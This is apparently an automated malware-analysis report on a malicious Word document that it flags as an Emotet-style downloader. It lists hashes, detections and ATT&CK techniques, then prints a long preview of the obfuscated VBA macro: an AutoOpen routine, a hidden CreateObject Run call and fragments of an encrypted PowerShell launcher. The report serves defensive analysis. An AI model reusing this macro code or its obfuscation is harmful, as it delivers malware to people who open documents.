Office (OLE) malware analysis — malicious · e0d33bfafe3d3301

MALICIOUS

Office (OLE)

227.0 KB Created: 2018-03-27 09:53:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: 8b428c60c8ae9e1297f2d85762158e24 SHA-1: cdc4a30484240fa7ff931f90346a734cd2295c7b SHA-256: e0d33bfafe3d33010d12132b334ade93347ab41611927bb004aeaf57a31327bb

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject for execution. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of obfuscated VBA code suggest a downloader or droppper functionality. The VBA script attempts to construct a URL using the fBpVua function, which likely leads to the download of a second-stage payload. The embedded URL 'http://schemas.openxmlformats.org/drawingml/2006/main' is benign, but the script's intent is malicious.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

djOEcI = (Jmihj - ChrB(77685))
CreateObject(JcOtqrJHqVLYDG).Run rwwVrzKICip + Chr(VBA.vbKeyC) + PmCEsaUE + XmzBpwkwl + LwYTrCNSZ, vbHide
For Each dAOBt In LvcVh

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro

Matched line in script

Attribute VB_Name = "bwAQwWQozowXUl"
Sub AutoOpen()
On Error Resume Next

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	40380 bytes
SHA-256: `ea170712ccb629f687c0a37603067fc884778ec11ed5ad1cb1916ff94ae3a122`
Detection ClamAV: No threats found Obfuscation or payload: likely 688 of 1086 identifiers look randomly generated (e.g. 'wA0ADEAYwAwAGEAYQBkAGIAMwAyADAAZAA0ADYAN') — consistent with name-mangling obfuscation. Carved artifact contains 24 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "tCCXuEYFz" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "BhTTptSUcwdpC" Function hUDOOlajufizz() On Error Resume Next For Each bQIjKB In VOscqN LujoIw = 31671 - XzLALS For Each IEdzS In DfAzY UjSILW = qrvGOZ Next Next plvhwtLcvj = fBpVua("%pBZhAGUANwAwADYAMQAyADUAMABkADgAOQAzAGMAMQAzADkAZQA1ADcAZAA1ADYANwAzADAAMwBjADIAMgBlAqMbh", 5, 82) For Each fsIXJ In WBFozr cHPjpk = 9151 - MErzdM For Each cNzOaD In KWcpiW diJUb = ibLQi Next Next For Each RPHQzQ In TviKW fRZUt = 56771 - sfrLw For Each ajfGkZ In SMYvIs srJFPQ = KihPFK Next Next iYFib = fBpVua("duyADMAOABhADYANQAxADIMvn6q", 3, 20) For Each jlYvUw In anptlv StdLAj = 62890 - VlvfE For Each CwqiP In jbzznu REULi = FrkDD Next Next For Each YFzWhf In HvAYbU btzOw = 3904 - TGilU For Each HbwtU In wHtvR ijbju = faDNnT Next Next irQdDzpPWNi = fBpVua("z9lNzQaIAZAAn4", 8, 5) For Each jiNEwV In NUXfwG RYziw = 65092 - PVokM For Each GuHto In DoiiCu jrOIv = nZNBDf Next Next For Each SAtzio In oTSfwW IHHZiL = 88357 - OzsON For Each DRJjqM In jVQOqo WUvMt = UZlsB Next Next hUdCPpi = fBpVua("KsBjADQANgAwAGUAMQA3AGYAMAAzADYANwA3ADAAYwBjAGEAMgBlAGYAOQBjAGUANQBjADEANQA0AGYAMABmAGUAOQAzADEANwAwAGQANwA4ADgAYwBlADkAMABhAGEANQAnsKV", 3, 129) For Each lBmwH In btlCJ GKnYmq = 20565 - WUutCf For Each GTdjQ In lawwZJ PvnULv = iTvmu Next Next For Each AcOfp In LERYRY ZKtrhm = 28195 - POKVT For Each bvrNz In CjDwI WUzwK = hWBqfq Next Next KiKbb = fBpVua("bJEAMABkADcAYwAyADUAMgA5ADUAMAA3ADIAMwBkADIAOAA5ADMAYQAzAGIAOAA3AGEAMgBlAGQANwBhAGQANQBhADYAOAAzAGUAOQBjAGEANgA2ADMAMAAzAGIAMQBjADYANgBhADMAYQBmADAAZABjADUAMwBlAGQANQAwAGUAMwA2AGQANQBhADAAMABjADW47hDn", 3, 192) For Each fNkkN In KWQkJ LRJtpH = 94518 - VQuWQD For Each nzWlQ In vUBRw rzpFko = zaYcL Next Next For Each aXLlAL In wZnuU wSplF = 47908 - AXXDaI For Each LdokS In lqiKf JCGksh = iImtKE Next Next hBbqG = fBpVua("iA2AGUAZQBjAGQANABmAGYAYgAwAGQAMABjAGQAMQBhAGEAOABlADkAZgA4AGQANgBkAGYAMwA4AGEAMQBiAGQAYgAzADkAZQAyADgANgA3ADdqBFm", 2, 108) For Each krCzH In srDUk bBbIo = 60144 - iPfun For Each WoaLZk In fLiuoi TjRzl = pFjHzz Next Next For Each piLKI In Zapsfo IaZDJw = 60350 - jRQTlK For Each tZqlmY In AiOffE cHpNiZ = WmavVQ Next Next QYYwGdNM = fBpVua("6wA0ADEAYwAwAGEAYQBkAGIAMwAyADAAZAA0ADYANwBkADEAOQAwAGIAYwBhADcAMgBmADMAOABhADgAZgBmADcANwBjADkAYgAzADUAZgBhADQASis5ANX", 2, 111) For Each NvrWk In hPBuBM arpiTa = 3804 - KbFHl For Each WmQpR In SmmXI cMMFuM = tSfzw Next Next For Each mfbcr In IkrRcL PKtHZ = 38680 - liuVn For Each iwDvO In jcpzz FlFNwZ = wfDcXl Next Next YEIpVu = fBpVua("lpRHbmAGMAOAA1ADAANQA3ADIAOQA1ADUAZABjADEANQA5AGUAYgBim", 6, 48) For Each qwRIlF In XFLhwD idaLt = 61626 - ivYhU For Each roiTf In ZLiLj tmhjt = zWWRBd Next Next For Each nzmFn In APVFsF RhWsX = 93888 - SOjhPD For Each KciVzC In wVrFuL kWMmT = IIipAN Next Next KtUdHkfKRU = fBpVua("m1oLAMQA3AGIANgA1ADkANAAwAGIAMAA1AGQAZQAyAGYANwA4ADYAYQA5ADQANQA0AGQANwA1AGIANgBhADgAYwBmADUAMwAzADIAZABlADUAZgBiADkAOAAxADIAOAAzADcAMABjAGEAZABkADgANwBhAGEAMABjADIAYQBjADEAMQBhADMAMwBhADgAYgBjA3ab", 5, 190) For Each hYSFqk In pnqkt VUMim = 55781 - ZirUuw For Each YCzpV In LBXCmP wMwjc = QWnwAC Next Next For Each HERBj In mfffQH vTpHtY = 82350 - TzRJDB For Each MQwncl In iqiXCR ratFvI = EHWZF Next Next LdfOk = fBpVua("5N23,102,23,206,242,87,39,233,146,80,192,47,51,174,72,100,139)) ) ) i2o", 4, 65) For Each oEzrdi In SOiciB kwcVV = 48836 - cZYDH For Each iIJZNX In udrmu XOcrQ = tudFiB Next Next For Each IqrCYt In bAHKMW FpwHNQ = 40788 - wnQlu For Each wzuCzp In HzXdk kwKAwW = BkmzDl Next Next tKMPFCaD = fBpVua("bnamkADIANABhAGQAMwA0AGIAOAA2ADgAMAA0ADQAYQAxAGYANgA3ADUANQBlADAAYQAzADMAZAAxADEAOABhADcAMgA2ADgAOQBhADgAMQA5ADkAYQBkAGIANQAxAGEAZABlADkAZgAxADkANQA4ADIAMgAbi", 5, 152) For Each GsEmn In siCNIM Swsaic = 62840 - FnnTOM For Each LLvzNY In Otkpl Guzsjp = DsLVa Next Next For Each rIKLAs In Zadtpt PtGjRK = 84418 - KnzuQz For Each WzIrXK In FJhGzi OwtwZ = jQoGjB Next Next zBnJrzMOT = fBpVua("iuFj2GYAOAA2ADAAMwA5AGUAZAAxADUAMgA2AGUAYQAwADQAMgAwADcAMgBhAGYAYgBmADgAMQBhADAAZABkADUANABmADAANgAyADQANAA1ADEAZQAwADYAZgAxADQANwA1ADEANQBiAGYAYQA5ADYAMAA4AGEAYQBmADAAYQBlAGMANAA1ADQAMgBhADQqs", 6, 185) For Each wWMFb In jDjkwW iozCLN = 25430 - voGwr For Each LFICK In Hjizb EwViOv = uGsTm Next Next For Each IGnll In DtCwb jTLthJ = 40166 - svkFsc For Each JGMHP In hLEbYn lOskMh = rphOI Next Next KSvHNWmk = fBpVua("1qqD0CGIANAA3ADYAOQAzADAAYwA2ADUAMwBiADUAOQA2AGEAYQBjAGEAYQA3ADIANwBhAGIAMgAxADAAYwBkADAANQAyADAAMAA3AGUAMwAxADQAYQA1AGMAOQBiAGUAMgA1AGMAYQB21K", 7, 134) For Each ZMMVhs In Itnqr HzIGS = 16968 - sHiCA For Each LIUTZw In iQUwit iTrbCs = aVjjO Next Next For Each SfNsw In oIZBwK TQQRz = 13019 - AKBPdb For Each MTWrz In CXzhb qUFVu = sSkiP Next Next ZjzBstKqjq = fBpVua("UzGIAOAA3ADAANQBlAGUAMQA5AGUAMABlADgAMQBWHqXrwW", 3, 38) For Each ulqJId In PWjcoC zGUwT = 67514 - uQKvoH For Each lJZdDr In OOtPUk jKrQT = UlzoOj Next Next For Each AOzuDZ In MCsFq zpsJfU = 94113 - BPBThI For Each ACvjZ In PTMrK iludZK = lZOIKp Next Next NBzbVjBbsGI = fBpVua("HUfSlEAZQAzADkAZAA0ADEAZgAwADUAYQAwADUAYgBkAGIAZQAxAGYAYQA4AGYAMwA3AGMAZAAwADEAMgA3ADkAZgA2AGUAMwAzADkAYQA4ADQAOAAwADUAMAAzAGUAdG", 6, 122) For Each mzwwaW In jMzwW GkVjR = 40182 - ONGmcJ For Each Xrmtlt In lPUQRo zYujD = mBDirp Next Next For Each TBZhIp In jzLkp lMokVc = 78041 - CzbEE For Each lIhEJi In wpiSM LXvpvi = kqZId Next Next DsUwwnN = fBpVua("lRsIM8MQAxADYAYgBhADAAMQBiADUAMgBlAGEAMgBkAGMAMQA0ADJHX", 7, 46) For Each JrRDwd In MkaRH GcmXFS = 16106 - ddGHfV For Each sviZai In Shlko iawdi = cozTU Next Next For Each CwHkRc In WmwTBu VjfPY = 81096 - KRZoX For Each baHGZK In wQPPME AVQwYS = nsmZj Next Next dMGVJzVnbD = fBpVua("SakAMgA2AGMAZABlAGUAYwAyADEANQA3AGMANgBsKz.Iq", 3, 37) For Each fsfhwu In Qwisu KRFTPD = 38044 - QpAbP For Each LniVj In TEEkiT CYEqY = hHziY Next Next For Each JJJDj In ROVXv sXYaiO = 73781 - DvnilY For Each XMfPjW In dRasih oLbwzi = manjfR Next Next RdzluNuzMbi = fBpVua("qLK( [RuntiMe.interoPSErVICeS.mArSHal]::PtrTosTRIngBSTR( [RuntIME.INTEropSErVICes.MarShaL]::SEcUResTrINGTOBsTR( $('76492d11N6k", 4, 120) For Each OWbSH In tCqHMH uGzqjE = 14397 - jLknt For Each klrjD In nOuza ztlUUm = lmfbzA Next Next For Each tvUMc In miNnI YTPOPG = 34183 - NQFwdR For Each rkLBn In JXYYU sRYrCX = pbMcF Next Next BaFVfNTdwMw = fBpVua("9H4GIAMgBkAGMAMAA4ADcAMAA3ADYAOQBkADUAYgAxADYANQA1ADUANAWmzLI,", 4, 53) For Each PuvcpV In KCvzBm dPwqp = 90490 - ZQoYDb For Each ckiHF In YZOuj lTqVb = QChaiV Next Next For Each Jpcot In IcduV FZLNUw = 73519 - FMwPtc For Each UjQDUO In wtRhGD DjOzH = ozfrO Next Next iOKUfaqqi = fBpVua("HpafriAGQAYQAwADEAMQA2ADkAMQBlADQAMAA4ADkANwBmAGIAMABkAGIAZQBhAGMAMAA5ADQANgBlADAAMAA0ADEAZQBhAGQAZABkAGEANwBmADUAZgA4ADcANAA1AGIAYgAzADcANQA4AGIAMAA2ADIATp8", 6, 149) For Each vSztMu In ZovMq fdbSw = 76200 - iVBdiP For Each QDWAZo In SJAAEm dhHWXz = iMfjDX Next Next For Each tdlWLw In hYppv FiaTt = 23212 - UUoZj For Each criQk In ukrjF LJNqoK = BwZuDw Next Next tFIWYwSGOzM = fBpVua("kbwGEAYQBjADcAZABlAGUAYgA5AGEANQBmAGMAMAA4ADEANQA1AGUAZAAxADcAYwBkADMAYQBhAGIAZAAzADgAZgBhAGUANABiAGUAMQA1ADAAYQA3AGUANgAzADUANwBlADAAZABmAGEAZgBjADEANgAwAGIANABmADcANgAzAGUAMgBLaL", 4, 173) For Each uMIZoL In oUjwHF BkNuU = 75024 - Ctdfdh For Each aCwfRt In hcRutq ohrjF = AMLAi Next Next For Each OIdfw In awoqn HFdvu = 2632 - vKAHT For Each busjv In umtdmK frArit = FzFtVQ Next Next dLznEolz = fBpVua("T8lAOAA0ADEAYQBiADUAMwAzAGEAYQA3AGYAOAAxAGUAOAA2ADQAOAA0AGUAMwBhAGYAYwA2ADIAZgBjAGMANQAyADYAZgBlADcAMAA1ADYAZAAzAGQAOABlADUAOAAzADIANAA4ADgANgBiAGQAZgA3AGIAYgA2AGMAZQAxADAANgAxADIAJ00", 4, 177) For Each uvENB In MXOhM rtTNbr = 70474 - VQvSS For Each fOdow In ijzrp kAbIc = ipBul Next Next For Each UrJNBz In tHBSjS tCdnKj = 39711 - CWcGN For Each zMhcdZ In almfhD qQIJDS = jqHHq Next Next SIMpqbZWn = fBpVua("Sw7QAA1ADgAMwAzADEAMQA1ADkANgA3ADMAYgBiADAAOQAwADUAOABmAGUAYgA4ADkANgAzAGIAYQAxADgAYQBlADIAYQBhAGYAZgBhAGIAYQA3ADAAMgBiADAAZQA0ADEANwBiAGMAYgBiADIAZAAwADgANgA5AGUfmU", 5, 158) For Each Oonlu In zvuUpG rTQqHc = 55201 - QmNSCu For Each OVaVm In cmwBl FivvTD = bBSzz Next Next For Each PGvvMw In hUCYsf jNPTjW = 80573 - dYGCCU For Each KcWkYj In RqqXi cjYBb = virjIY Next Next wfCFiDiOXd = fBpVua(" v8HbAYgBlADYAYQA4ADQAMAA4AGQAOAA2ADQAZgA3AGMAYQA3AGUAMgA0ADgANQA2ADcANwBlAGMAMwAyADUAMQA1AGIAOAA5AGMAZAAzAbpii", 6, 102) For Each kcXoJu In mKaBH LPvYd = 16949 - cCzzEb For Each YMTwN In jzpuB dJaSGX = UVjnSD Next Next For Each EzZWAJ In sMKqm EmsVNV = 41860 - tXiAA For Each sJfvRq In rJvjJ aDLQjV = mzhzn Next Next izWzYQ = fBpVua("LO8hjkHUANQAyAGMAMgA3ADgANQA4ADEAYwBkAGYAMABlADEANAAwADkAZQA1ADAAYgAxADAAOQA3AGIAZAA4ADYAMwBhADEAZQA0AGYAMwA4ADcANAA1AGUANwA3AGMAMQBiuv", 8, 126) For Each uFLZq In zYUjh ZvdNd = 93918 - DhvWhH For Each ilzvb In ItwCfj OJPFT = BHZlZU Next Next For Each cibBH In daBzdI YMRiqj = 2126 - jifnma For Each Wkjli In CLBYDM SmsuBq = zcIXV Next Next wzRkpUjShD = fBpVua("jhMilADYANQAyADYAMQA4ADQANAAzAGMAZAA5AGEAYwAwAGIAYlq", 6, 45) For Each StAvOU In YDROs vVAQFm = 39413 - fwpll For Each WFtbMP In cILFKi YOVdB = vhzMDk Next Next For Each BnONvq In LvkLYX ujPwa = 59978 - qBWPl For Each scNAKp In SXmvkw LZOOtA = SvCin Next Next ULnWbNzz = fBpVua("iiD42vkAYQAyAGMAOAAwAGMAOAA3AGQAMAA1AGQAOABmADAAZAA1ADMAYgA0AGEAMgA2ADcAYgA0ADQAMgAwADcANQBlAGUAOQA5AGUAOQA5ADcAMAAyADAAMgA1AGMANQBkADQANwBlADcAYwBkADcAMQBid7", 7, 150) For Each KKmsz In Niiij iXCXu = 39019 - isHRm For Each WkFZh In WWXpI tzajEc = fNKdWv Next Next For Each MwiCq In lUsDGp MMGVi = 33433 - zNNws For Each IhCQF In JRmwzG MuttV = DiCGS Next Next ZrdqMiUjwz = fBpVua("YYgAzADAAOQBmADQAZgA2ADIANABmADIANAA1ADEAMQAyADMAOQBiAGYAYQA3ADYAMABiADkAZAAyAGQAZgBkADIAMgA4ADMANwA0AGMAMAAyAGMAZABmADEAYQA3AGMAZQA3ADQAMAA3AGYAYwAyAGIAZQAzADgAMwBhADEANgA2AGUAMwA0AGALPHIGzj", 2, 182) For Each qckRz In hJXqDS zfjtZO = 16673 - UEdFT For Each kppGbj In PzYzn QwnWr = RXjWkc Next Next For Each fbaqc In WmGfFC oqIiE = 71038 - GdAYac For Each XjlwqZ In JRqmLs uXrozO = BAckW Next Next UjSUMKs = fBpVua("V6SAA0ADAAZAA1ADcAMABiADkAMgA1AGQAOQAyAGIAOQBiADEAYQA5AGMAOAAyADAAMgA3AGp38", 4, 69) For Each zCbBPA In zDVhO ifZRvt = 84639 - MFIjbN For Each ViJNU In kHppWL wrCKaW = lcijri Next Next For Each NHdfnP In tUNZrj DQzPD = 70879 - HuaQv For Each hCRzb In UfLdD IkaOj = SPvIoq Next Next iQKBwMDDO = fBpVua("5AY16743f0423413b16050a5345MgB8AG4AbwAyAEEAdgA2AGEASgBmAGkAWgBoAEkATwB0AHUAaQBsAFYAegBQAHcAPQA9AHwAOQAzADIANQBiADMANgA2ADMAOAA4AGMAYn5Yl2", 4, 129) For Each ktuFND In rOSrC waLmr = 73308 - tuAcsK For Each zjEYNb In qXZZw oduSjL = jrDJR Next Next For Each zwrjzQ In nzbqQ zjUsT = 17278 - kjjbM For Each UnnoJP In nwZzE aDkimB = WRCzCk Next Next mEzUEASZ = fBpVua("aXnjQAwADYAYQBjAGMAMgBmADAAMwAyADgAMQBiAGMAYQAwADIAZABhADQAMwBkADYAZQBiADQANAAzAGIAMQA4ADIANgBiADRv", 5, 93) For Each FtSRQX In vUzIS AYzJVn = 63023 - PAzuaR For Each DkqlZ In KufIi YiikaT = uwStbO Next Next For Each RuikR In oUAkRt zaOamK = 45221 - nBtkf For Each hDBEk In patdKw ocwGQt = sTlzY Next Next ZaSEGmzJcDp = fBpVua("v%LjDkGYANAA0ADYAZgAxAGQAZgA5ADAAZgA4ADQAZAA0AGYAMQBmADQANwG", 7, 52) For Each Fudsl In lcHRz hCzZjl = 29533 - iilrvd For Each LNNREf In luwBs KzhLw = iqWTmA Next Next For Each NOsuUZ In DTJst sBRcX = 82527 - OUccXP For Each BXjwZ In uIVzh kRSzZh = IJQAz Next Next qtdiO = fBpVua("vYANwBiAGMANwAzADcAMwA2ADUAYgA1AGYANwBlADkAYwA3AGYAOQA5ADcAOQBkADcAMAA2AGEANQAyADYANwAwADMAYQBjAGIAMwA4AGMANAAzADQANwBkAGIAYwBjADIAMgBkADEAZQA15Lh7M", 2, 142) For Each MwkslQ In ECSfm SkIkf = 34799 - iGhwVD For Each OHOlXh In MMJQk LnhwmM = PYzYl Next Next For Each tUfAfS In AZWpGk oGrZT = 79708 - KYjAuj For Each iZKaX In wfqPBL NRTdj = WiWzZ Next Next HuuTmMYwirm = fBpVua("SY15YDAANABlADcAOQAyADcAMwBmAGQAMgBhADAAV0E", 6, 35) For Each ozivv In kjTWAL iHOIP = 55062 - HoQtF For Each RjMjH In lTjfOk PQchrR = PAGIW Next Next For Each dRjuZM In lQXOtw PupAr = 82583 - CFOjm For Each OUqtn In jTTcz fLbbbE = XQzbBa Next Next lXNwnUOzSG = fBpVua("nl6MQA5ADYAZQBjAGYAMgBlAGUAMAAwADAANAA1ADMAMwBiAGMANgAwADgAYQBiADIANwBkADcAZAAxADEAOAA3AGYAZgA0ADAAYQBmADYAOABhADkAZQBmAGQAOABmADkAMgA2ADIAMwBlAGIANQBjAGYAOAA5AGCqv1", 4, 158) For Each lObLR In nvhQZ arPsvS = 79277 - Lflbi For Each vPAPt In TQQRsI lGkdK = zduHX Next Next For Each LEQKH In DkSlp JtMhwF = 91510 - UjVEkT For Each dBQYE In KbPCz DzYBw = QQHNk Next Next JRwkKh = fBpVua("XWhwAGUAYQA5ADUANAAyADQAZgA2ADAAMgBmADIAOQBmAGIANwAxAGIAZAA5ADcANQBmADUANQAyADEAYgA1ADMAYwA1ADYAYQAyADQAYwA1ADAAMQBkADMAMQAyAGQAOQAwAGYAOQBkADIAZAAzADIAYQAwADUAMQA0AGMAMQBkADEAYwA2ADYAYQ8,@2", 5, 182) For Each LLFmf In MaonZi MlmwS = 95006 - wpsivi For Each pTCSQ In zNtuX jqZbQZ = zmdiRp Next Next For Each HXfsi In wZDuJA ikiJzb = 87212 - ApEHR For Each hTSwu In vnkLW mflOF = IKrVjK Next Next jkpFaXFqjw = fBpVua("ItAGEAOQA0AGMAMAA0ADQAYgBhADUAZQBhAGUAYgBmADQANgA1ADYANQA4AGMAMwA3ADIIizlzF", 3, 67) For Each zCMGhb In QLOGkw wzvAW = 76368 - oNWmkX For Each HfMjIA In BihDkl aRfdHR = LwVMW Next Next For Each iThiH In GVBBR SIrVsA = 71014 - wPzEHK For Each SiWjh In PHcKR CriKv = EYqoNf Next Next XqSdUjUbnSV = fBpVua("s%LCFBhAGYAOQBkADAAMwA1AGMAYwA2ADgAZAA3ADYAZQA3ADQAZgA5AGUAOABhADAANwA3AGYAOAA0ADAANgA2AGEAZgAxAGYAMQAwADcAZAA5ADcAYgBkA8YS", 6, 115) For Each GYGTV In awHnnf kcCBO = 20677 - wipTEB For Each DmUdV In jbvJoG qHuErf = JbVpaC Next Next For Each OPshr In imAio kuPOV = 29620 - jszZB For Each nZmcvY In pwJFW FHHIQ = FEWFo Next Next GquOXGOKqw = fBpVua("poKBlAGMAZgAzAGUAZQA5ADYANgAzADMANAAyAGYAZQA5AGEANQA1ADUOSl,", 4, 53) For Each jFMDdR In qhEdwJ KkNmk = 19736 - TKDbkj For Each wvQUw In MSrmVs fUAiL = LBVqkU Next Next For Each lGaRwC In SBDwo Xlhik = 98199 - UpZRAG For Each jPVoS In irdSAq HpPKVs = lsWSkK Next Next GXhMDwcW = fBpVua("jLiD[13]+'X')rZqdsu2", 2, 12) For Each TvjJQ In oTCfPf ijHPiu = 34241 - faPwHM For Each rtCDHj In vzJjA nmjupE = FkHoq Next Next For Each WssOk In pELDhj Qutbu = 71174 - VusqGs For Each IGoIvr In abaju QARko = tiOzYQ Next Next OLrXwuaNw = fBpVua("Gw\|. ( $ShelLID[1]+$shElwWk0uL", 3, 22) For Each TwbACI In DhwWvl vqTSvA = 54582 - VdHCS For Each AtGQrC In bzaXX EjCup = wzsuj Next Next For Each WoLYrp In sIufj YGwokK = 85594 - onGWM For Each FHtXK In lGNqN bWMAU = UaTprc Next Next IIjUHsjLXV = fBpVua("w2ADIANwA4ADQAZAA3ADMAZAA3ADMANAA2ADkAYwBhADIANAA2AGIAOQAwADUANwBmAGEAYwA0AGQAYgA2ADQANQA4AGYAZQBlAGIANQA3ADmsSZjM", 2, 107) For Each QFShBE In iYRlP ULISt = 11884 - XjWLoT For Each BmwQP In quQSY lLiDF = kzbJSA Next Next For Each bEzCL In RDidrp MbOKO = 76000 - RiCSAY For Each ATnAz In LphUzG YJbijn = fJjCzr Next Next iCnYmCdcJ = fBpVua("vi,AzADQANAAyADUAYgAzADUAZABmADIAZQBlADYAOQAwADIAMgA5ADgAYgBkAGYAMQBiAGEAZgA5ADQAYgA1AGEAMwA3AGEAYwBjAGUAMABhADkAYwA4AGMANAAzADUANgBjADQAZgA3ADAAZQAyAGQANQAzAGEAYQBhAGUAYgA1ArZUP", 4, 171) For Each mtCjC In RQjvdt tWtuLH = 90700 - HGXmN For Each hrjlAG In Zvfnw aHZfB = shIPpq Next Next For Each idHFw In zCqaKT jXzzs = 93726 - CijUGD For Each PnPoU In rwRoG vUXUX = wPshcU Next Next cTJQlptV = fBpVua("4cb1AiIAMgA3ADUAMgBiADUAMwAxAGMAMgA5ADAAMAAzADIAMwA0ADUAZgA5ADEAOQBiADQAMgAzADMAZQBkADcAMABhAGEAMwA0ADcAYwBkADIAMgAyAGQAMgA5AGEANwAyADAAMwBjADcANAAzADUAMQBkAGEAMAAwAGQANAA5AGQAYQBiA4Z", 7, 175) For Each RUJzt In zvckPb qzNmGI = 82079 - ASiKLZ For Each niiLu In CzizX HOTkI = mEwCGa Next Next For Each KASDF In QMHPj QCiui = 64977 - ojwnrz For Each Qtzjwq In DZSqVC MLQfjt = wYjwL Next Next vXCTvfCnojw = fBpVua("apZQBkAGIAOQA1ADMAYwA0ADgAMXN4Y", 3, 25) For Each diMMbF In mWPYQ tNcLEN = 60760 - cYhIL For Each PRVQl In OzZNFP fFpvs = qAGVM Next Next For Each jaKzik In GvrpD LcGio = 87884 - ENcLwn For Each QZLwZ In zEFVR FBoEEj = IbsiNj Next Next uYTrCjUHqN = fBpVua("C0AGEAMAA1AGEAZgA5AGMANwA4ADYAYgAzAGMAYgBjADQAZABiADAAYQA1ADQAMgBhAGIAYwA1AGUAMABkADAAMgA1ADQAZAAxADEAMgBmADQANQA4ADYAMgAzAGQANQBlAGIAOQBhADAAMQA2ADEAZQBlADkAMQBjADgAMQA2AGIAZABhADAAMwBlAGYAMABmLU2XU", 2, 193) For Each NkWwwA In SsjkvQ EHXlR = 80713 - pQJXcI For Each qXrzQl In MhGWQH IHTJTm = UVzvq Next Next For Each jOcoq In sIjTwN vKHSqZ = 67413 - TnBGET For Each wZwbO In WUSSFz PdtZZ = YlcnAY Next Next ktzVqSLJNh = fBpVua("d0JTAMQAwADIAMgA5ADAAOQBkAGYANwBkADQAMRaw", 5, 34) For Each HQbai In ZXLJVV mZqpzk = 52572 - iqtch For Each vjUmwD In hGtrkT uDTXE = szvnnP Next Next For Each JIRSaV In juPpsa NaMcAR = 78397 - LGBWLd For Each qtOjtp In JccqqO TKRzEz = kKjnq Next Next VTjcpztF = fBpVua("av6YAOAA4ADMAMgAyAGQAZgAyAGEANgAxADUAZgBjAGEAMQA3ADgAYgAwADgAOAAxAGEANgA4AGEAMAA3ADcANABiAGIANwAxADIAMgBkADQAZQA5AGMAMABjADgAZQBlAGEAYQAyADgANQA4ADgAOAA1ADQANgAwADYAMwAyAGUAMQBlADQAMwSh52Y", 4, 180) For Each zKREJG In EWaIj cRkAJa = 51112 - swjXGf For Each FifwC In nwLYh IfwjJS = VHzKa Next Next For Each OfmYiS In iDfpH nwYlX = 32038 - stptw For Each uHbJi In AnjtWb IjlHMa = PETjvY Next Next VmWrjo = fBpVua("diXaQSAA==' \| CoNvertTO-sECureSTRInG -Key 20,170,25,13,109,124,61,212,234,190,62,22,215,23,56,17HQS", 7, 91) For Each YoVqt In MXRDu qHZEC = 3790 - vHrHl For Each SQCpnu In GfbzO dBPlP = MLjbpA Next Next For Each PqlJK In VOZTr uzKtzd = 6286 - zifqH For Each vLYKJ In haBiKF LlPWV = MPvja Next Next aSERO = fBpVua("SZQA5ADQAOAAwAGIAZgBiADgAZAAxADkAYQBmAGUANgAwADQAMwAzAGMAYwA0ADEAYwA0ADzHNi4wd", 2, 70) For Each PEjHhL In BoMJqO OQTwc = 68141 - csYiLJ For Each vGzfwM In YzSTWP LwbZH = zvvzE Next Next For Each hkVpn In zbwBZ Pjbkn = 71041 - WdfPOr For Each atzJm In vnlOBd KPpTCL = JbczJY Next Next dzzziMb = fBpVua("i,wA4ADgAYwA2AGEANQA4ADMANAA3ADAAZQBiADUEkh88I%", 3, 38) For Each KiBUHz In iFipPw bzNiKC = 66177 - nLNCJ For Each wRzANo In Jktufz KLimNF = dPQwVE Next Next For Each Nbwspm In wFGEhZ aFlEbF = 78511 - jiAaiC For Each vOifc In iPQrcw IjvGkm = sidWjB Next Next ViwUETKU = fBpVua("wjANwA0AGUAZABlADkAOAA4AGYANABlADkANAA4AGMAMQA0ADkANwA0ADEAYgA3ADAAZQA0ADMAOQAxAGQAYQA5ADQANQBkADIAOABiADIANABlAhad16", 3, 110) For Each sTrPHm In KraBzC qVMzIO = 43212 - itprS For Each NkHwaA In vYcUJu oVFnko = MQXam Next Next For Each aKjXjJ In lXzRko uVzVlS = 60834 - zGFuSP For Each VTVuwT In lRuOT ltQKwu = MOrzDB Next Next wrfQhFfiIBF = fBpVua("DYAYwAwADgAOQwwiRn", 2, 12) For Each NZRmqa In Civqp fkiaW = 98268 - JEquwY For Each UHcWq In oCLzIX hiPUTI = KcfQd Next Next For Each NNmcaH In KiniM otXZO = 65279 - oIHUW For Each FLawH In BmkiIr ncHCDo = SZKsJh Next Next qbcAM = fBpVua("D,0ZRADMAOAA3ADEAYwA3AGUAMgBmADIANgBkADIAZQBiAGIAYgA5AGUAZgBlAGYAMQA4AGUAYgA4ADgANAAwAGYAZgAyADQAMABhADYAYQAxADMAZABiAGMAMgA1AGMAMgBkAGQAZQAzADgAZQA5AGMAZQA4ADkANQA5ADUAOQBhADYAMAA1Pu", 6, 176) For Each jEFGS In KBNjj mKbDLO = 64416 - upjGEf For Each wfBioa 